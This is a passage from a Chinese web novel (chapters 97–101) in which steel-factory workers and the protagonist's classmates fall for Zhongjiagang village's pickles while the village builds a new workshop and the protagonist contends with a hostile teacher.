“我瞅瞅～你们谢副厂长有些扣……”话还没说完，妻子打开坛子，就被扑面而来的酸香味给迷了眼睛“额……闻着还怪香的，我拿个碗来尝尝什么味！” 说着，她转身就进了自家灶房，拿出干净的碗筷，从坛子里夹了一碗咸菜出来，刚夹完，她就迫不及待的送了一筷子进嘴里，咯吱咯吱的嚼了起来，一口咸菜没吃完，她就眼前一亮，用肩膀碰了碰丈夫：“老李，你尝尝～” “咸菜不都一个味，有什么好尝的，唔～”丈夫不想尝，话还没说完，张口就被妻子塞了一嘴的咸菜，他刚想发火，舌尖的味蕾触及酸爽脆嫩的咸菜，心中的怒火顿时烟消云散“啧啧……确实挺好吃的。” 原来谢副厂长不是骗人的啊，真就尝了才知道。 这样的场景复现在每一个钢铁厂员工的家里，只要尝了的，都会从一开始的不屑一顾，到惊喜万分。 没尝过的，在工友们你一句我一句的食后感的诱惑下，纷纷回家吃起了咸菜。 有些家里人多的，还不够吃，四处打探着有没有工友愿意把自家的钟家岗酱菜跟自己换的。 这么积极的态度，让人一看就知道有鬼，哪里会有人愿意换。 由于这次的厂庆礼是在美味，而且在炎炎夏日，有这么一坛子的开胃菜，众人的胃口大开，等到家里的菜吃完时，便对家里寡淡的菜式再难下咽，好多人心想着，就一坛子咸菜而已，应当不会很贵，就寻思着找司机们问问，谢副厂长从哪里搞来这些东西的。 “我也不知道，我们就是个拉货的，这件事情你们得去问谢副厂长。”司机摸摸后脑勺，憨厚一笑。 他从小就跟着谢军，另外几个司机也是他手底下管着的，谢军不发话，他不会乱说话，剩下几个司机听他的，也一句话不敢乱说。 “不说就算了，走，我们去问谢副厂长。” 众人来也匆匆，去也匆匆。 还没到谢军办公室，就先碰上了赵得金。 “王三、周明……你们干嘛去啊？”因着几人都是今年拿了奖的，赵得金对他们印象非常深刻。 “赵副厂长！”王三和周明对视一眼，异口同声道：“我们找谢副厂长有点事情，您在办公室有看见他吗？” 赵得金以为他们是不满谢军发的厂庆礼，热情道：“谢副厂长在办公室里，就他一个，你们有事和他好好说，千万不要激动啊。”要不是他还有事情，都想亲自把他们送到谢军的办公室看好戏了。 可惜了，手头的事情实在推不掉，他只能眼睁睁的看着自己错过这次看谢军热闹的机会。 王三和周明有些摸不着头脑。 王三：“赵副厂长这是在说什么啊？” 周明：“我也不知道！” “算了，打听厂庆礼的事情重要，你知道吗？我回家尝了那个咸……酱菜，尝了一口，就把坛子封上，连带着咸鸭蛋，送我丈母娘家里去了。” “本来，我丈母娘对我不是很满意的，可那天之后，她一口一个好女婿的叫我……”周明边说边回味，结婚以后，他在丈母娘家里还是第一次收到这么好的待遇。 这不，送过去的东西还没吃完，周明就过来打听谢军是从哪搞来这些东西的了，他希望，自己在丈母娘家的地位一直都像现在这样。 王三：“真的啊？那你小子走大运了……我是因为我老娘喜欢的紧，本来夏天她没胃口的，现在喝粥就着那菜都能吃下一大碗哩。” “那熏鱼，我给她蒸了吃，她一个人吃了大半条。” 王三是寡母带大的，老娘在他的心里排第一位，他娘年纪大了，这两年不太吃的下去饭，可把他给愁坏了，生怕老人家出什么三长两短。 这不，抓到一个她爱吃的东西，王三火急火燎就来了，一心想着不能给老娘的口粮断了。 办公室里的谢军还不知道，自己发下去的东西，在厂职工的家庭里，激起了轩然大波，并且即将成功的为钟家岗的咸菜厂打出名气，此时的他，心里揣揣不安，厂庆那天的大家的反应时不时浮现在眼前，他已经不知道，自己的决定究竟是对是错了。 遇事不决先吃饭，谢军夹了一大筷子腌油辣椒放在米饭上，连带着饭一块送进了嘴里。 第98章 “谢副厂长，我们……”办公室的门没关，王三和周明敲了一下门后，直接就进去了，一进去眼睛就直勾勾的盯着谢军：“谢副厂长，您吃啥好吃的呢？” 谢副厂长碗里的菜和厂里之前发的都不一样诶～王三和周明直接忘记了来意，满心满眼的都是谢军饭盒里新品种的咸菜。 “额……就是一些咸菜……没什么好吃的。”谢军把饭盒盖上，这俩职工的眼神，让谢军感觉好像下一秒他俩就会扑过来抢他的饭似的。 虽然家里还有，但是办公室里现在就剩下这么一碗了，他可不想把自己的午饭分给旁人吃。 眼见着饭盒被盖上，王三和周明的理智也回来了。 周明想到丈母娘，王三想到老娘，两个大男人，冲到谢军面前：“谢厂长，您就帮帮我们吧！”是的，只要谢军能帮他们买钟家岗酱菜，这俩愿意投票给谢军当厂长，现在在他们心里，已经开始拥护谢军成为新任厂长了。 谢军：“帮什么你们总得说啊！”啥也不说，一上来就求，谢军拿什么帮…… 周明：“厂长，您之前发的那个酱菜太好吃了，我拿回家去，家里人都很喜欢，这不快吃没了吗？他们让我问问您，哪里还能买到。” 王三：“是啊、是啊，这几天酱菜快吃完了，我老娘吃饭都没那么高兴了。” 谢军脸上透出一丝古怪：“你们当真觉得酱菜好吃？” 周明和王三点点头：“好吃！再没有比那更好吃的了！”现在钟家岗酱菜在这两人心中都可以和肉碰一碰拳头了。 “那你们觉得我的厂庆礼发的怎么样？” 周明和王三立马就懂了，这是点他们站队呢，为了老娘/为了丈母娘，也为了他们自己以后还能吃上这么美味的酱菜，两人一刻不带犹豫的道：“谢厂长发的厂庆礼我们都很喜欢，家属院都在问，这么好吃的酱菜还有鸭蛋哪里还能买到！” 他俩没说谎话，家属院现在确实是这么个情况。 “真的啊？”谢军喃喃自语道，他说这话的同时，面颊疯狂抖动，嘴角止不住的上扬。 “你们俩先回去吧，这事我会处理的！” “人家厂子不对私人售卖商品，回头统计一下，厂里有多少人想买，到时候我让采购科的人去和他们对接。” 谢军几句话就将所有事情都安排妥当了。 周明和王三却仍旧没走，他俩面带犹豫的问：“厂长，方便问一下，那些菜贵吗？还有熏鱼和鸭蛋能一块采购吗？” 价格不贵他们能吃的起，价格要是贵的话，那就只能少买点，给长辈吃吃就行。 谢军：“不贵，就正常市价，熏鱼应该暂时买不到，人家村里鱼塘里的鱼都没长成呢！要不是我说尽好话，人家也不愿意把半大的鱼都捉上来，提前给我们做了一批熏鱼。” 王三听出他话里还有其他意思，便继续问道：“厂长，熏鱼现在买不到，那过年能买到吗？” 他可是知道，养鱼的地方基本上冬季都会清塘的。 谢军瞥了他一眼：“过年得看情况。”意思就是得谈。 这小子倒是聪明，知道他话里有话。 “厂长，您多费心，我娘就等着那一口呢！等投票的时候，我一定给您多拉票！”得到准话，王三觉得自己的立场坚定的不得了。 周明也跟在他身后表忠心。 让赵得金没有想到的是，厂长之争竟然就这么的化解在一坛坛不起眼的咸菜里，在他不知情的情况下，他就这么被厂里的职工们从厂长候选人的位置上给挤出去了。 此刻他还在家里做着几天之后升任厂长，脚踢谢军的美梦。 同样，远在钟家岗的众人也没有想到，刚交付货物没多久，同一个买主又会来村里下第二笔大订单。 “哎呦喂，这可怎么办啊？”钟强先既高兴又愁的慌。 高兴的是村里来了这么大个单子，还是合法合规的；愁的是他上哪里搞那么多货啊？村里也没那么多地方腌咸菜，原本挂着咸菜厂牌子的那个院子里已经摆满了坛子，快让人完全没有下脚的地方了。 “要不，扩建一下呢？”钟莹莹小声提着建议。 村里那个小作坊也该改一改了，人家厂是什么样的，他们村又是什么样的，两者一对比，要没那个证，钟家岗的厂子就完全是一个不正规的小作坊。 “扩建，哪来得及？” 盖房子要时间，腌咸菜要时间，采购一样要时间，钟家岗本村的产值已经严重不足以支撑他们把东西做了往外卖了，现在都得四处搜罗着弄回来，才能保证正常的生产活动。 “先搭几个棚子，房子慢慢盖呢？”钟莹莹知道他们村里人搭竹棚的速度，他们村最不缺的就是竹子，砍刀一砍，火烤杀青，竖着一刀劈成两半，搭竹棚一天能搭好几个吧？ 钟强先略微一思索后，就觉得是个好办法，他转过身去，一脸兴奋的盯着钟莹莹道：“还真是个办法，莹莹你怪聪明嘞！” 又来了，又是那个让人浑身起鸡皮疙瘩的眼神，钟莹莹又想跑路了。 钟莹莹她爹钟伟先不着痕迹的挡在她身前，对钟强先说：“竹棚要建，房子也得盖，不能一直用棚子，不结实。” 他们村虽然属于平原地区，但是偶尔有几年刮台风，也刮到过这里过，两人合抱的白杨树都能连根拔起，万一遇上了，那竹棚子压根不顶用。 钟强先：“我也想啊，可那得花多少钱啊？” 建竹棚子他无所谓，但是造房子讲究可就大了，买砖头要钱吧？买沙子石灰要钱吧？墙都用砖头砌了，那屋顶是不是也得按瓦片？不当家不知柴米油盐贵，钟强先心里苦啊，是他不想一步到位吗？村里刚买了车，再造房子，那年底大家还分不分钱了。 钟伟先：“多少钱也得造，硬件条件跟上去，咱们才能生产更多东西。” “强先，这次是莹莹他同学的舅舅给咱们村的咸菜知名度打出去了，才有那么大的单子，要是错过了，再等下一次，不知道要多久才能等到。”钟伟先目光看的比钟强先远。 钟强先只看到了当下的付出，他却看到了未来庞大的利益。 村里其他村民也一反常态的团结，钟刘先跟着开口道：“村长，咱们建房子，要是账上钱不够，那大家伙再凑一些。” 老万跟着举手：“我同意！” 老楚见老万这个老奸巨猾的都站出来了，他也举手表态：“我也同意，要是钱不够，我们凑一些。” 最后，除了钟强先没有表态，全村一致通过，要建新厂房。 钟莹莹也不得闲，壮劳力们建房子去了，他们这些半大的孩子就跟着老娘下地干活，能帮着浇菜的浇菜，能除草的除草。 钟绍华和钟明月也是整天的不着觉，夫妻搭配，开着车时不时去其他村子溜达一圈，把他们村新长出来的菜还有鸭蛋鸡蛋的给拿着批条收购回来。 因为市里钢铁厂的加单，导致原本在县里就出名的钟家岗咸菜厂名声更上一层楼，县里还有各个镇上的供销社也统统加订了冬天的单子。 钟强先现在忙的屁股都不沾板凳，整天火急火燎的不是在新厂房工地上转悠，就是去竹棚那块盯进度。 知青们笨手笨脚的做腌菜不行，盖房子也不行，就被钟强先统一安排挖地去了，他们村该种红薯了。 “王岳啊，叔看好你，你在我们村大有作为啊！我看下一个回城的人非你莫属！” “真的吗？村长？”王岳被钟强先画的大饼给砸的晕头转向。 “真的！叔还能骗你不成！你看，之前我说周岱他们能回城，他们是不是立马就回去了？” “你看村里现在发展的那么好，房子车子马上都有了，这些也有你们知青的一份功劳。” “等过年的时候去县里一汇报，县长面上有光，那回城名额不就来了？” “大家好好努力，干完这一波，回城很简单的。” “到时候你们在村里养的鸡啊鸭啊的，都可以宰了带回家去，年底村里鱼塘清塘，鱼也给你们分几条拿回家，不要太风光～哪个村的知青能有我们村的知青待遇好？” “嗯！”王岳狠狠的赞同了。 他和朱志鑫刚来没多久，人家就回城了，可把他给羡慕坏了。 忽悠完王岳，钟强先又用同样的话术分开忽悠了一遍其他知青，看着像打了鸡血一样，为建设钟家岗而努力奋斗的知青们，钟强先突然感觉良心有些痛，因为他对于让他们回城压根没有把握。 为了让自己好受些，他给自己洗脑：一切都是为了村里，他们的牺牲是值得的。 等年底汇报工作的时候，他一定会在知青办的人面前替他们多多美言几句，至于能不能回城，那就要看天意了，回不去大不了村里多补偿他们一些东西，让他们寄回家去，一切都有的商量。 钟莹莹在地里也是忙的热火朝天，豆角要摘，辣椒要摘，黄瓜什么的到了尾季都得摘，摘完了后，有些地空置出来，又要收拾出来种新的东西进去，种地大人来，摘菜就全包给他们这些孩子了。 第99章 不知道擦拭了多少次的汗水，钟莹莹的袖子都湿透了。 其他孩子也不遑多让，各个热的面红耳赤，汗水顺着脖子往下流。 钟莹莹干活，钟莹莹惆怅，重生小说不是这样写的啊，人家重生穿越都变成这个那个佬，怎么她就是个老实农民呢。 话又说回来，其实现在这样也蛮好，所有人的劲儿都往一处使，没有勾心斗角，就只有简单的体力劳动，干完活回家倒头就睡，也算是一种幸福吧。 “大家都抓紧了啊，活干完了就可以回家吃饭了。” 陈显英拎了一大壶水过来，给每个孩子都分了一碗薄荷水。 喝完清凉解暑的薄荷水，原本有些萎靡不振的孩子又重新变得精神抖擞起来。 干完就有饭吃了，最近村里的伙食超级好，大家伙都在卖苦力，不吃点好的压根撑不下去。 以前发的*代用粮还有自己村里自造的粉粉沫沫的，终于吃完了，现在他们吃的都是不掺假的东西。 村里拿了货款，有钱了，钟强先在其他村子除了收购腌制菜品用的原料外，还跟人家换一些粮食，借的是工厂建房子的名义，镇上有人隐隐约约知道有这么一回事，但是没有证据，也没人举报，他们就睁一只眼闭一只眼，反正钟家岗变好了，也还是属于他们镇，都是一家人。 晚上钟家做的是白面饼子配辣椒炒鸡蛋，还熬了绿豆汤。 陈显英做的饭，家里其他人都在外面干活呢，没时间回来做饭。 陈显英是因为这两年身体有些差，现在地里的活她能不干就不干了。 “吃饭吧，吃完洗个澡，最近该累坏了！”陈显英看着一到家就累趴下的孩子们，心疼的不得了。 “娘，等会儿再吃吧，我今天卸了三车货，胳膊都快抬不起来了。”钟绍华瘫靠在墙上，像一滩稀泥一样。 钟明月也没好到哪里去，原本温温柔柔的一个形象，再也不复存在，现在她也跟钟绍华似的，倚靠在墙边一动不动。 陈显英有些担忧：“你们这不吃饭不行啊！等会娘给你们拿冷水敷一敷，看看会不会好点。”瞅给孩子都累成啥样了。 陈显英取来水盆还有毛巾，盆里的水是刚从井里打上来的，还冒着凉气呢。 她把毛巾丢到水盆里，吸饱了水，然后微微拧干后覆到钟明月的小臂上，只听钟明月舒服的喟叹一声道：“娘，好像真的有用，我感觉胳膊没那么酸了！”虽然东西大部分是钟绍华还有村里人搬的，但钟明月也帮着干了不少，要不然也不会累成现在这个样子。 “有用就好，娘再给你按按。”说着，陈显英就动手去给钟明月捏胳膊。 钟明月怕累着她，被捏了几下后就道：“娘，我没事了，你也歇着吧，今天都干一天活了。” 陈显英说是不能干活，但她哪闲得住啊，一会儿去地里溜达一趟，帮忙捡捡菜苗，一会儿又送壶水过去，一会儿又……等大家都干的差不多了，她又提前回家，做了一大家子的饭，就没一刻钟是闲着的。 “对，娘你歇着吧，我自己敷～”钟绍华把钟明月放进水盆里的毛巾给拧了出来，盖到自己的胳膊上。 这一接触他就尝到甜头了，怪不得刚刚他媳妇表情那么享受呢。 他的胳膊很热，毛巾的凉意消散的特别快，他又用毛巾去沾取水盆里的水，没敷几下，胳膊上酸胀的痛感就减轻了不少，起码拿东西手不抖了。 处理完自己，他又去帮他媳妇消解疲劳，宽泛的大手覆盖在钟明月的肩膀个胳膊上，三两下就给人把紧绷的肌肉按的松弛下来。 钟伟先还没回家，钟强先有事找他商量，也不知道是啥事。 “咱们先吃饭吧，不等你爹了！”陈显英拿起一个饼子，率先动了筷子。 她开始吃饭，其他人也动筷了。 薄薄的白面饼子，卷上辣椒炒鸡蛋或者油辣椒，鲜辣可口，身体里的燥热被激发出来，通过汗腺释放，胃中的空虚也逐渐被饱腹感填满，钟绍华毫不在意的用手背揩去额头的汗，然后再猛灌一口加了薄荷叶的绿豆汤，薄荷的清凉因子一入喉，顿时给人一种灵魂即将出窍的爽感。 “娘，你说这玩意谁发明的呢？（嚼嚼嚼）” “这也太好喝了！（嚼嚼嚼）” “夏天干完活来上这么一口，拿啥给我换也不换（嚼嚼嚼）” 辣椒鸡蛋卷饼是辣的，越吃越辣，越辣越想吃，辣了就得喝绿豆汤，喝爽了看见饼子感觉自己又可以了。钟绍华一口接一口，吃的压根停不下来。 “嗝～” 吃到最后，他是在吃不下了，打了一个饱嗝，把剩下的绿豆汤一饮而尽算是收尾。 钟莹莹跟钟新澄也撑的走不动道了，一个个挺着个小肚子，把板凳搬到墙边，靠着墙汲取墙壁的凉意，陈显英把桌上的碗筷都收拾出去洗了，回来一看，大的小的就这么靠在墙上困的眼睛都睁不开了。 她挨个喊过去：“醒醒，莹莹，洗了澡去床上睡～” 钟莹莹迷迷瞪瞪的，还以为自己是在做梦。 陈显英又喊了两句，她才游魂似的，拿起洗澡的木盆去灶房，又从院子里白天晒的水里舀出来几盆水，慢慢端到灶房里。 夏天的太阳很毒，水缸里的水在院子中间无遮挡的晒了一天，温度正正好，钟莹莹关上门，半闭着眼睛，就这么凑合着洗了一个澡。 洗完一看灶房的地湿漉漉的，她皱了一下眉，心想：家里也该建个洗澡间了，一家人都等着在灶房里洗澡，也不像个样子。 不过要建也得等这段日子的风头过去，大家都累的浑身疲乏，哪有人有心情建洗澡间。 钟莹莹把自己用过的水都给倒了，盆子也冲干净了，便喊钟新澄：“木木，该你洗澡了～” 喊完也不看有没有人回答，她推开自己房间的门，把门一插，窗户打开，纱帐挂到窗户上，固定好，把床上的薄被随手一推，整个人如同死鱼一般，啪唧一下倒在床上，一动不动的，等过了一会儿，一只小手又四处摸索着，不知道在找些什么。 左摸摸，右摸摸，终于，那只手摸到了被子，微微一用力，一角被子就这么被扯过来盖在了手主人的肚脐眼上。 睡梦中的钟莹莹感受到小腹被东西覆盖着，沉沉睡去。 一整个暑假，她都在忙活着地里的活计，等到开学的时候，整个人晒黑了一个度不止。 好在努力是有回报的，她也强壮了不少，胳膊上那不太明显的腱子肉就是证明。 在她走前，村里的新厂房也落成加顶了，她看了一眼，依旧是很朴实无华的风格，新厂房坐落在之前长薄荷的那片不太肥沃的土地上，钟莹莹一开始还担心那片薄荷地被铲平了，以后她在家用薄荷水擦澡，泡薄荷，点干薄荷叶熏蚊子，会不会薄荷不够用。 她显然是多虑了，薄荷这种东西，随便给它一点土壤，一点雨水，它就能长的很旺盛，而且跟它长在一片地上的植物，压根竞争不过它。 它还越掐越旺盛，不缺水的情况下，村里的野薄荷几乎是取之不尽，用之不竭的。 跟祁绮在火车站刚一碰面，祁绮见到钟莹莹的第一句话就是：“莹莹，你咋那么黑了？” 钟莹莹：“……”她黑的确实是太明显了，无法反驳。 不过幸好她黑的快，白的也快，去学校闷一学期，应当很快就白回来了。 祁绮见她第一面说的话，也是学校里的同学，乃至老师们见她第一眼说的话。 钟莹莹被人反反复复的说晒黑了，整个人都很无奈。 她的好同桌，余嘉祥刚一见她，第一眼注意到的也是黑，还没等钟莹莹解释，他又兴奋的给钟莹莹的黑找到了借口：“钟莹莹，你这不会是帮村里干活晒到吧？”他认为钟莹莹是在帮村里赶工期，瞎猫遇上死耗子，还真猜中了。 见钟莹莹没说话，他接着又道：“你们村的酱菜什么时候能做出来啊？上一次我舅舅他们订的全都吃完了，好多人在问呢！” 余嘉祥自己也想弄一点带到寝室里吃，天知道学校的食堂饭菜，除了能填饱肚子外，其他的……一言难尽。 钟莹莹有气无力的回答：“不知道，不卖散客，只批发给单位，得拿带公章的批条去才行。” 提起村里的菜钟莹莹就感觉心累，干了整整俩月啊，手都磨秃噜皮了，她走的时候，她爹娘哥嫂，乃至大侄子大侄女还在家里奋战呢，也不知道啥时候是个头啊！赚点钱，一家子都搭进去了。 余嘉祥被拒，也不生气，自顾自的说道：“不卖给私人是对的，不然的话，到时候被人举报了，我上哪再吃这么好的钟家岗酱菜去。” “回头，我让我舅舅多订一些，匀我一点。” 余嘉祥之前的走读，让班上同学知道了他的特殊，见他一味的和钟莹莹谈论什么‘钟家岗酱菜’的事，大家都很好奇，一个两个的全都凑近了看这俩小屁孩叽里哇啦在说什么呢。 第100章 侧着耳朵听了一会儿后，宋悦捂着嘴巴惊呼出声道：“莹莹，最近钢铁厂传的沸沸扬扬的钟家岗酱菜是你们村的啊？” 宋悦对象搁邮局都听说这事了，听钢铁厂传的神乎其神的，他还想买点回来给宋悦吃呢，奈何钢铁厂的人都抠门的很，问他们好吃吗？答好吃；问往外换吗？一个个拔腿就跑，都不带理人的；问他们从哪里搞的？就知道一个厂庆和谢副厂长，不对，现在是谢厂长了。 宋悦对象一个邮局的无名小卒，哪敢去钢铁厂的厂长面前造次？这事也就这么不了了之了。 就是他后面跟宋悦提的时候，还是觉得有些可惜。毕竟人人都夸的东西，他没给对象弄来，心里总是有点愧疚。 “是我老家产的，但是不对私人卖……”钟莹莹又把对着余嘉祥刚说完的话，又给重复了一遍，生怕班上同学缠上自己。 “你这还真是深藏不露啊！”宋悦看钟莹莹的眼神都变了，一个普通的农村同学，和一个家里有点关系背景的同学不是一个概念。 班上其他同学也围了上来，一个个七嘴八舌道：“我们也听说了，钢铁厂的员工没事到处炫耀，市里没人不知道吧？” 钢铁厂是市里的第一大厂，市中好多同学家里就有在钢铁厂上班的。 “我还尝了一点呢，就是我叔叔抠门，只给我吃了一口就不给吃了！” 一听到有人已经尝过了，其他人立马迫不及待问：“怎么样？怎么样？真像他们吹的那样好吃吗？” 那男生回忆起那口酸香可口的腌萝卜，忍不住吞了吞口水，狠狠点头道：“好吃，特别好吃。” 见他这副模样，其他人哪里还会不相信。 一双双眼睛就这么默默盯着钟莹莹，让她感觉如芒在背，桌子也趴不下去了。 “我寝室里有一坛子从家里带过来的还没动，你们要是想尝尝，中午去食堂打饭的时候，我可以带到食堂去，给大家尝尝看。” 宋悦激动的一下子揽住钟莹莹的肩膀，撒娇道：“莹莹，你最好了～” 祁绮看着钟莹莹的眼神就有些怨念了，俩人一个县出来的，她怎么不知道钟家岗的咸菜在市里也出名了，钟莹莹背着她和其他人有小秘密了。 中午吃饭的时候，钟莹莹信守承诺的回寝室取咸菜去了。 其他同学自告奋勇道：钟莹莹今天中午的饭菜他们包了，等会儿去食堂汇合后，她就直接过来吃饭就行。 寝室距离食堂还是有不小的距离的，钟莹莹花费了挺长一段时间才从教室走到寝室，又从寝室赶到食堂。 抱着个粗瓷小坛子的钟莹莹一进食堂还没找到班上同学就被人给拦住了。 “手里拿的什么？交出来！” “牛老师，这是我从家里带的咸菜，准备中午吃的。” 找茬儿的人不是旁人，正是钟莹莹开学的时候遇见的那位阴阳怪气的老师，牛犇。 “学校食堂什么脏东西都能带进来吗？万一让其他同学撞见了，也想吃，吃坏肚子算谁的？” 这话一出，钟莹莹就知道牛犇是在刻意找事。 “老师，您不让我带菜，我吃什么啊？我家又没那么多的钱，天天在食堂打菜吃！” “你吃什么关我什么事？不应该问问你父母，家里穷的连饭都吃不起了，还把你送来市里做什么？” “你们这些乡下人啊，就是不知好歹，总觉得自己能考上市中后就能成为人上人了，殊不知，市中的风气，就是被你们这些人给带坏的！”一群穷酸货，给学校的档次都降低了。 “我……”钟莹莹刚想辩解，牛丽华就找来了“牛老师，莹莹她是我同学，我们下午还有课呢，我们就先去吃饭了，牛老师再见！” 说完牛丽华没敢看牛犇的反应，直接就拉着钟莹莹走了。 “丽华，你……”钟莹莹被拽着走远，等到人少一点的地方，牛丽华才停下，她刚想问牛丽华为什么要把她带走，就瞳孔剧烈一缩，像某种小动物一样，几乎缩成一个圆孔。 面前的牛丽华一点不复方才在牛犇面前的镇定自若，整个人从脖子到面颊红的快要滴血，眼睛里也溢出几丝雾气，里面的泪水要掉不掉的。 钟莹莹这才想起，牛丽华从一开始就是个胆小温吞的性子，今天这么扯着自己，一定事出有因。 牛丽华缓了好久才缓过神来，但是手依旧微微颤抖着，显然是方才的举动已经耗费了她所有力气。 她颤颤巍巍、哑着嗓子对钟莹莹说：“莹莹，你不要跟牛老师吵架，吵不赢的，下次见到他离远一点就行。” “今天他是刚跟副校长吵完架，所以才把火气撒在你身上的。” “你跟他对抗，讨不到好处的，万一副校长生气，还可能会开除你。” 牛丽华虽然和牛犇是本家，但也仅限于互不干扰的程度。 牛犇不会欺负她，但是她要是管的太多，对方也不会太在意她家里人的面子，不对付她，但是别人，那就不一定了，多一事不如少一事，牛丽华认为还是劝钟莹莹忍一忍为好。 钟莹莹表面屈服，话语中带着些许委屈意味道：“我也没想和牛老师吵架，我就抱着坛子来食堂，他就把我堵门口了！” 钟莹莹感觉自己倒霉的很，怎么就正好碰到牛犇了呢？早来一会儿或者晚来一会儿都不至于，这个牛犇，等抓到他爹把柄，她必报今日之仇。 牛丽华忙安抚道：“没事、没事，不是你的错。” “牛老师看谁都那样，别想了，咱们吃饭去吧！” 改变不了现实，也改变不了牛犇老爹是副校长，牛丽华只好自欺欺人的转移钟莹莹的注意力，喊她去吃饭。 “我们班同学都在那坐着呢”牛丽华伸出手指，指了一个方向，钟莹莹顺着她的手指，果然看到班上的同学都坐在那一片，叽叽喳喳的不知道说什么呢。 “大家都等着你的‘钟家岗酱菜’呢，我们快过去吧！” 牛丽华出来门口迎着钟莹莹是宋悦的注意，她想让牛丽华多接触一些人和事物，练练胆子。 看着钟莹莹抱着坛子，往同学那边走去，牛丽华吐出胸中的一口浊气，暗暗夸奖自己道：牛丽华，你今天已经做的很棒了，能从牛犇手里把同学拉回来，以后继续加油！ “快～让我尝尝～”钟莹莹到的一瞬间，所有人的筷子都想吻上来。 宋悦挨个的把他们的筷子给打了回去。 “酱菜得用干净筷子夹，不然会坏掉的，让我来……”她掏出一双干净的长筷，顺着钟莹莹揭开的盖子探了进去。 没两秒，一大筷子红彤彤的、挂满着辣椒的腌大头菜就被这么夹了出来。 吃过钟家岗的菜的那男生迅速把自己饭盒伸过来：“宋悦，菜菜，饿饿！” “咦～赵磊，你真恶心～” 其他同学都受不了他为了一口吃的，连节操也不要了的样子。 赵磊嬉皮笑脸道：“是你们还不懂这一口菜的好，等下你们吃了就知道了。” 在宋悦把那一筷子菜隔空放进他饭盒里的瞬间，他就夹起一部分，迅速塞进嘴里，接着又填了一口二米饭，刚咀嚼几口，他就幸福的眯起了眼睛：“爽！就是这个味！” 其他人也被他的表现给馋到了，一个个忘了方才骂赵磊表现恶心，自己也跟他一样端着饭盒排在宋悦身前，眼巴巴的等着宋悦给他们分东西。 很快，班上几十个同学，每人分得了一大筷子，钟莹莹的小坛子也快见底了。 “唔……真香，怪不得你小子这回这么积极，原来是无事不登三宝殿啊！”这么好吃的东西，到现在才和他们说，气的男生恨恨的锤了赵磊一拳。 他已然忘记，之前赵磊和他提这件事的时候，他还觉得赵磊夸张，觉得他没吃过什么好东西，所以才会对点子酱菜念念不忘。 赵磊得到吃点，心情好点很，一点也不计较同伴的重拳，他喜滋滋道：“好吃吧！我给你说还有跟好吃的呢！” “他们村还产咸鸭蛋，和熏鱼，这俩我没吃过，但是听吃过的人说……”赵磊在这里小小的卖了一个关子。 其他人都聚精会神的等着他的下一句话。 “他们说，咸鸭蛋和熏鱼更好吃嘞！” “那鸭蛋叫什么流沙鸭蛋，筷子轻轻一戳就滋滋冒油，一点也不想供销社里卖的咸鸭蛋，齁咸有时候还是臭蛋，那个流沙蛋不咸，蛋黄蛋白都好吃，但是蛋黄要更好吃一些。” “熏鱼吃过的人有点少，听说是用松柏枝熏的，还有松香味呢，不过很可惜，我也没有吃过！” 在赵磊描述的同时，大家碗里的大头菜也吃的差不多了，一个个被他的话给馋的恨不得口水直流三千尺。 鸭蛋和熏鱼离他们很遥远，但大头菜近在咫尺。 他们把目光投射到钟莹莹那坛子里剩下的菜上。 钟莹莹扶额，看来今天只能带个空坛子回寝室了，眼不见为净，她大方的把剩下的都分享出来：“吃吧，不过这里的吃完了，我也没有了。” “谢谢！” “谢谢你，大好人～” “钟莹莹，谢谢～” …… 高一一班，现在应该说是高二一班的同学，从来没有这么团结过。 一坛子‘钟家岗酱菜’，拉近了班上所有人之间的距离。 吃完后，那群人还是有些没吃够，有人开始想歪点子了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-110 第101章 “钟莹莹～” “能打个商量不？” 钟莹莹：“什么商量？卖咸菜的事没商量，那是违规的。”钟莹莹不至于为了一点蝇头小利把自己给搭进去了。 赵磊：“不是买，是同学之间的互帮互助！” 宋悦跟着点了点头：“对，是互相帮助！” “具体说呢？” 赵磊嘿嘿一笑：“你看啊，咱们都是同学，谈买卖也不合适，一来无证买卖要被批斗的，二来同学之间谈买卖也伤感情！” 钟莹莹总觉得他不怀好意，斜睨了他一眼道：“说重点！” 赵磊：“我是想说，你看能不能这样，以后呢，我们轮流帮你免费带饭，你家里如果‘寄了’咸菜或者咸鸭蛋来，那大家就一起分享，我们都是一个班的同学，感情好一点没人会说什么的吧？” 钟莹莹不知道该说什么是好，她的同学竟然能为了一口吃的做到这种地步？ 班上其他同学若是知道她的想法，恐怕会骂她两句：你是吃香的喝辣的了，你咋不看看我们过的啥日子？ 市中的食堂做的饭真的仅限于做熟而已，学校又是全封闭式的，他们想出校打野食，没家里人来接都是不可能的。 在市中上学的大多数都是市里人，基本上家长都是工人，哪有闲情逸致为了给孩子吃口好的，请假带孩子吃饭的。 话都说到这个份上了，钟莹莹再不同意，未免太不近人情了。 “分享没问题，就是这个咸菜是装坛子里的，邮局那边不好寄啊！”钟家岗用的那种坛子是最便宜的，一分钱一分货，质量也就一般般，遇到磕碰很容易就碎了。 宋悦突然举手道：“我有办法，同学们且听我一言！” “我对象是邮局的，他有同事送邮件的时候，会开车往返市里和县里，我们可以托他帮忙带。” 山穷水尽疑无路，柳暗花明又一村，本来已经有些心灰意冷，觉得交换咸菜的事可能要泡汤的赵磊又重新恢复信心。 他激动道：“就这么办，宋悦，记你一大功，以后你不用参与轮流带饭，我们来就行！” “邮费也不用你们出，我来出！”他真的苦学校饭菜久已，如果只是多出些钱，就能买到好吃的菜，那他一万个愿意，他啥都没有，就是钱多。 余嘉祥也跟着站出来道：“要是不着急的话，我可以回家给我舅舅说一声，让去拉货的司机帮忙带点回来，就是得钟莹莹提前写信和村里人说一声。” 钢铁厂的运输队反正是要去村里拉货的，帮他们多带几坛子咸菜回来并不是什么大事。 更何况还是帮钟家岗村里的孩子带的，运输队只是好心帮一下村里‘贫穷’的孩子解决‘吃饭问题’，更加是一点问题没有了。 “那就定好了，我们先让宋悦对象帮忙带一部分，然后等余嘉祥你舅舅的运输队去钟家岗，再帮我们多带一点回来！” “如果，我是说如果啊～，如果车上空位置多的话，可不可以尽可能多带一些过来。” 赵磊害怕中间出什么岔子，还是觉得先把东西拿到手更放心一些。 余嘉祥略微一思考后就同意了：“应当没问题。” “其他同学有不同意见的吗？可以现在就说出来，大家一起参考一下！” 所有的环节都有人包了，他们只要轮着帮钟莹莹买饭就成，就做这么简单的小事，就能够得到美味的小菜，来替代食堂食之无味，弃之饿肚子的食物，他们有什么不愿意的呢？ “大家都同意啊？那我宣布，今天这个事就这么定了。” 宋悦戳戳钟莹莹的肩膀：“莹莹，你今天回去就写封信给我吧，我托保安交给我对象。” 